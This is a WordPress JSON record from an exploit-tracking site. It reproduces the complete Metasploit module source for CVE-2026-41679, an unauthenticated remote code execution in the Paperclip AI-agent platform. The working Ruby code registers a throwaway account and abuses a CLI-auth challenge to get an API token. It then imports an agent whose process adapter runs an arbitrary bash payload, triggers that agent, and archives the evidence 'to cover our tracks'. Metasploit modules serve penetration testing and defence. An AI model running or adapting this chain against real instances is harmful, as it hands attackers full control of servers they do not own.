{"id":62313,"date":"2026-06-12T14:44:06","date_gmt":"2026-06-12T14:44:06","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62313"},"modified":"2026-06-12T14:44:06","modified_gmt":"2026-06-12T14:44:06","slug":"paperclip-ai-rce-using-a-chain-of-six-api-calls-cve-2026-41679","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62313","title":{"rendered":"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T19:28:03&#8243;,&#8221;description&#8221;:&#8221;Paperclip is the operating system for your AI company. You set the goals, hire AI agents as employees, and watch them plan and execute work. Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679. An&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T19:02:08&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T19:02:08&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-41679&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          Paperclip is the operating system for your AI company.\\n          You set the goals, hire AI agents as employees, and watch them plan and execute work.\\n          Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679.\\n          An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip\\n          instance running in authenticated mode with default configuration. The entire chain is six API calls.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die-gr3y \\u003ch00die.gr3y[at]gmail.com\\u003e&#8217;, # Metasploit module\\n          &#8216;Sagilayani https:\/\/github.com\/sagilayani&#8217; # Discovery\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2026-41679&#8217;],\\n          [&#8216;GHSA&#8217;, &#8216;GHSA-68qg-g8mg-6pr7&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/86rSV7hsXi\/cve-2026-41679&#8217;]\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;osx&#8217;],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix\/Linux Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;osx&#8217;],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :unix_cmd,\\n              &#8216;Payload&#8217; =\\u003e {\\n                &#8216;Encoder&#8217; =\\u003e &#8216;cmd\/base64&#8217;,\\n                &#8216;BadChars&#8217; =\\u003e \\&#8221;\\\\x20\\&#8221; # no space\\n              }\\n            }\\n          ],\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-04-10&#8217;,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;SSL&#8217; =\\u003e false,\\n          &#8216;RPORT&#8217; =\\u003e 3100\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n        }\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the Paperclip instance&#8217;, &#8216;\/&#8217;])\\n    ])\\n  end\\n\\n  # Check if Paperclip instance is running and get the Paperclip version if published\\n  # return version number or &#8216;N\/A&#8217; (NOT AVAILABLE) else nil\\n  def get_paperclip_version\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;health&#8217;)\\n    })\\n    return unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;status&#8217;) \\u0026\\u0026 res.body.include?(&#8216;deploymentMode&#8217;)\\n\\n    # check for version\\n    if res.body.include?(&#8216;version&#8217;)\\n      res_json = res.get_json_document\\n      res_json[&#8216;version&#8217;] unless res_json.blank?\\n    else\\n      &#8216;N\/A&#8217;\\n    end\\n  end\\n\\n  # CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls\\n  def execute_payload(cmd, _opts = {})\\n    # randomize email address, name and password to be used in POST requests\\n    email = Rex::Text.rand_mail_address\\n    email_array = email.split(&#8216;@&#8217;)\\n    name = email_array[0].split(&#8216;.&#8217;)[0]\\n    password = Rex::Text.rand_text_alphanumeric(12..20)\\n\\n    # 1. sign-up and register with a new user and password\\n    vprint_status(&#8216;Step 1: sign-up and register a new user.&#8217;)\\n    vprint_good(\\&#8221;user =\\u003e #{email}, password =\\u003e #{password}\\&#8221;)\\n    post_data = {\\n      email: email.to_s,\\n      password: password.to_s,\\n      name: name.to_s\\n    }.to_json\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;auth&#8217;, &#8216;sign-up&#8217;, &#8217;email&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s\\n    })\\n    unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;createdAt&#8217;)\\n      print_error(&#8216;Step 1 failed: sign-up and register a new user.&#8217;)\\n      return\\n    end\\n\\n    # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header.\\n    vprint_status(&#8216;Step 2: sign-in with the new user credentials and get a session-cookie.&#8217;)\\n    post_data = {\\n      email: email.to_s,\\n      password: password.to_s\\n    }.to_json\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;auth&#8217;, &#8216;sign-in&#8217;, &#8217;email&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s\\n    })\\n    unless res\\u0026.code == 200 \\u0026\\u0026 res.get_cookies \\u0026\\u0026 res.body.include?(&#8216;token&#8217;)\\n      print_error(&#8216;Step 2 failed: sign-in with new user credentials.&#8217;)\\n      return\\n    end\\n\\n    cookie = res.get_cookies\\n    vprint_good(\\&#8221;cookie =\\u003e #{cookie}\\&#8221;)\\n\\n    # 3. create a CLI challenge and grab the id, token and boardApiToken\\n    vprint_status(&#8216;Step 3: create a CLI challenge and get an API token.&#8217;)\\n    command = Rex::Text.rand_text_alpha(6..8)\\n    post_data = {\\n      command: command.to_s\\n    }.to_json\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;cli-auth&#8217;, &#8216;challenges&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s\\n    })\\n    unless res\\u0026.code == 201 \\u0026\\u0026 res.body.include?(&#8216;token&#8217;) \\u0026\\u0026 res.body.include?(&#8216;boardApiToken&#8217;) \\u0026\\u0026 res.body.include?(&#8216;id&#8217;)\\n      print_error(&#8216;Step 3 failed: create CLI challenge and get an API token.&#8217;)\\n      return\\n    end\\n\\n    res_json = res.get_json_document\\n    return if res_json.blank?\\n\\n    id = res_json[&#8216;id&#8217;]\\n    token = res_json[&#8216;token&#8217;]\\n    @board_api_token = res_json[&#8216;boardApiToken&#8217;]\\n    vprint_good(\\&#8221;API token =\\u003e #{@board_api_token}\\&#8221;)\\n\\n    # 4. Approve in your own session using the token, id and session cookie\\n    # We will need to add the Origin header for next API calls otherwise they will fail\\n    vprint_status(&#8216;Step 4: approve the challenge in your session.&#8217;)\\n\\n    @origin = \\&#8221;#{datastore[&#8216;ssl&#8217;] ? &#8216;https&#8217; : &#8216;http&#8217;}:\/\/#{datastore[&#8216;rhost&#8217;]}:#{datastore[&#8216;rport&#8217;]}\\&#8221;\\n    post_data = {\\n      token: token.to_s\\n    }.to_json\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;cli-auth&#8217;, &#8216;challenges&#8217;, id.to_s, &#8216;approve&#8217;),\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Origin&#8217; =\\u003e @origin\\n      },\\n      &#8216;cookie&#8217; =\\u003e cookie.to_s,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s\\n    })\\n    unless res\\u0026.code == 200 \\u0026\\u0026 !res.body.include?(&#8216;error&#8217;)\\n      print_error(&#8216;Step 4 failed: approve the challenge in your session.&#8217;)\\n      return\\n    end\\n\\n    # 5. Create a company and deploy an agent via import (authorization bypass)\\n    # This will configure the payload that will be executed by the process agent\\n    vprint_status(&#8216;Step 5: create a company and deploy an agent with payload via import (authorization bypass).&#8217;)\\n    vprint_good(\\&#8221;payload =\\u003e #{cmd}\\&#8221;)\\n    post_data = {\\n      source: {\\n        type: &#8216;inline&#8217;,\\n        files: {\\n          &#8216;COMPANY.md&#8217;: \\&#8221;&#8212;\\\\nname: MI6\\\\nslug: MI6\\\\n&#8212;\\\\nx\\&#8221;,\\n          &#8216;agents\/007\/AGENTS.md&#8217;: \\&#8221;&#8212;\\\\nkind: agent\\\\nname: 007\\\\nslug: 007\\\\nrole: engineer\\\\n&#8212;\\\\nx\\&#8221;,\\n          &#8216;.paperclip.yaml&#8217;: \\&#8221;agents:\\\\n  007:\\\\n    icon: terminal\\\\n    adapter:\\\\n      type: process\\\\n      config:\\\\n        command: bash\\\\n        args:\\\\n          &#8211; -c\\\\n          &#8211; #{cmd}\\&#8221;\\n        }\\n      },\\n      target: { mode: &#8216;new_company&#8217;, newCompanyName: &#8216;MI6&#8217; },\\n      include: { company: true, agents: true },\\n      agents: &#8216;all&#8217;\\n    }.to_json\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;companies&#8217;, &#8216;import&#8217;),\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Authorization&#8217; =\\u003e \\&#8221;Bearer #{@board_api_token}\\&#8221;,\\n        &#8216;Origin&#8217; =\\u003e @origin\\n      },\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s\\n    })\\n    unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;id&#8217;)\\n      print_error(&#8216;Step 5 failed: create a company and deploy an agent with payload via import.&#8217;)\\n      return\\n    end\\n\\n    res_json = res.get_json_document\\n    return if res_json.blank?\\n\\n    agent = res_json[&#8216;agents&#8217;]\\u0026.first\\n    agent_id = agent\\u0026.dig(&#8216;id&#8217;)\\n    @company_id = res_json[&#8216;company&#8217;][&#8216;id&#8217;]\\n    vprint_good(\\&#8221;company_id =\\u003e #{@company_id}, agent_id =\\u003e #{agent_id}\\&#8221;)\\n\\n    # 6. Run the agent and trigger the payload\\n    vprint_status(&#8216;Step 6: run the agent and trigger the payload. You should get a session now ;-).&#8217;)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;agents&#8217;, agent_id.to_s, &#8216;wakeup&#8217;),\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Authorization&#8217; =\\u003e \\&#8221;Bearer #{@board_api_token}\\&#8221;,\\n        &#8216;Origin&#8217; =\\u003e @origin\\n      },\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e nil\\n    })\\n    unless res\\u0026.code == 202\\n      print_error(&#8216;Step 6 failed: run the agent and trigger the payload.&#8217;)\\n    end\\n  end\\n\\n  # try to archive the company and agent payload to cover our tracks\\n  def cleanup\\n    super\\n    # check if payload should be cleaned\\n    unless @company_id.nil?\\n      vprint_status(&#8216;Cleaning up the mess&#8230;&#8217;)\\n      res = send_request_cgi({\\n        &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n        &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;companies&#8217;, @company_id.to_s, &#8216;archive&#8217;),\\n        &#8216;headers&#8217; =\\u003e {\\n          &#8216;Authorization&#8217; =\\u003e \\&#8221;Bearer #{@board_api_token}\\&#8221;,\\n          &#8216;Origin&#8217; =\\u003e @origin\\n        },\\n        &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;\\n      })\\n      if res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;archived&#8217;)\\n        print_good(&#8216;Company and agent payload has been successfully archived.&#8217;)\\n      else\\n        print_warning(&#8216;Company and agent payload not archived. Try to remove it manually.&#8217;)\\n      end\\n    end\\n  end\\n\\n  def check\\n    version = get_paperclip_version\\n    return CheckCode::Safe(&#8216;Can not find a Paperclip instance running.&#8217;) if version.nil?\\n    return CheckCode::Detected(&#8216;No Paperclip version found.&#8217;) if version == &#8216;N\/A&#8217;\\n\\n    version = Rex::Version.new(version)\\n    if version \\u003e= Rex::Version.new(&#8216;2026.410.0&#8217;)\\n      return CheckCode::Safe(\\&#8221;Paperclip version #{version}\\&#8221;)\\n    end\\n\\n    CheckCode::Appears(\\&#8221;Paperclip version #{version}\\&#8221;)\\n  end\\n\\n  def exploit\\n    print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n    execute_payload(payload.encoded)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/paperclipai_unauth_rce_cve_2026_41679.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/paperclipai_unauth_rce_cve_2026_41679\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T19:28:03&#8243;,&#8221;description&#8221;:&#8221;Paperclip is the operating system for your AI company. You set the goals, hire AI agents as employees, and watch them plan and execute work&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,169,13,7,11,5],"class_list":["post-62313","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62313\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-12T19:28:03&#8243;,&#8221;description&#8221;:&#8221;Paperclip is the operating system for your AI company. You set the goals, hire AI agents as employees, and watch them plan and execute work....\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62313\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-12T14:44:06+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679-\",\"datePublished\":\"2026-06-12T14:44:06+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313\"},\"wordCount\":1866,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62313#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313\",\"name\":\"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-12T14:44:06+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62313\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62313#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62313","og_locale":"en_US","og_type":"article","og_title":"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-12T19:28:03&#8243;,&#8221;description&#8221;:&#8221;Paperclip is the operating system for your AI company. You set the goals, hire AI agents as employees, and watch them plan and execute work....","og_url":"https:\/\/zero.redgem.net\/?p=62313","og_site_name":"zero redgem","article_published_time":"2026-06-12T14:44:06+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62313#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62313"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679-","datePublished":"2026-06-12T14:44:06+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62313"},"wordCount":1866,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62313#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62313","url":"https:\/\/zero.redgem.net\/?p=62313","name":"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-12T14:44:06+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62313#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62313"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62313#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)._MSF:EXPLOIT-LINUX-HTTP-PAPERCLIPAI_UNAUTH_RCE_CVE_2026_41679-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 